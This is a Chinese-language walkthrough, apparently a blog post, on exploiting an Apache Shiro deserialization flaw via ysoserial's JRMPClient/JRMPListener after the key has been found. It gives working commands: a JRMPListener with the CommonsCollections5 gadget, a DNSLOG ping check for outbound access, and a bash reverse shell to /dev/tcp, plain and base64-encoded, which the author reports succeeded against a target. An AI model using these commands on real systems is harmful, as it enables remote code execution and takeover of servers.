最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在JRMPClient可用的情况
![null](http://www.fangyuba.com/upload_files/article/62/1_nks0u__.png)
换一种工具尝试
![null](http://www.fangyuba.com/upload_files/article/62/1_jcxv8__.png)
发现 JRMPClient 可用, 尝试使用 JRMPClient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录JRMPClient 利用方式。
使用JRMPClient模块进行测试
找到一个同样存在shiro反序列的目标。
![null](http://www.fangyuba.com/upload_files/article/62/1_89kdn__.png)
同样find: JRMPClient can be use。
搭建JRMPClient 监听服务
首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服务,下载地址:http://github.com/frohoff/ysoserial
使用DNSLOG进行检测
在不确定目标是否通外网的情况下 先使用DNSLOG进行检测 获取一个新的域名 :w3dh1h.dnslog.cn
![null](http://www.fangyuba.com/upload_files/article/62/1_sj307__.png)
VPS上开启JRMPListener
在VPS上搭建服务命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"
![null](http://www.fangyuba.com/upload_files/article/62/1_cqthb__.png)
shiro反序列利用工具中选择JRMPClient,然后输入VPS上搭建服务的地址:
![null](http://www.fangyuba.com/upload_files/article/62/1_wf3bd__.png)
JRMPListener 收到返回信息
![null](http://www.fangyuba.com/upload_files/article/62/1_mxgv7__.png)
DNSLOG上收到目标的ping 命令信息 说明目标服务器通外网
![null](http://www.fangyuba.com/upload_files/article/62/1_yduiw__.png)
执行反弹命令
执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1
![null](http://www.fangyuba.com/upload_files/article/62/1_umpt4__.png)
没有收到反弹链接
![null](http://www.fangyuba.com/upload_files/article/62/1_4iwsb__.png)
将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
![null](http://www.fangyuba.com/upload_files/article/62/1_xuf0r__.png)
成功收到反弹链接
![null](http://www.fangyuba.com/upload_files/article/62/1_8rz6o__.png)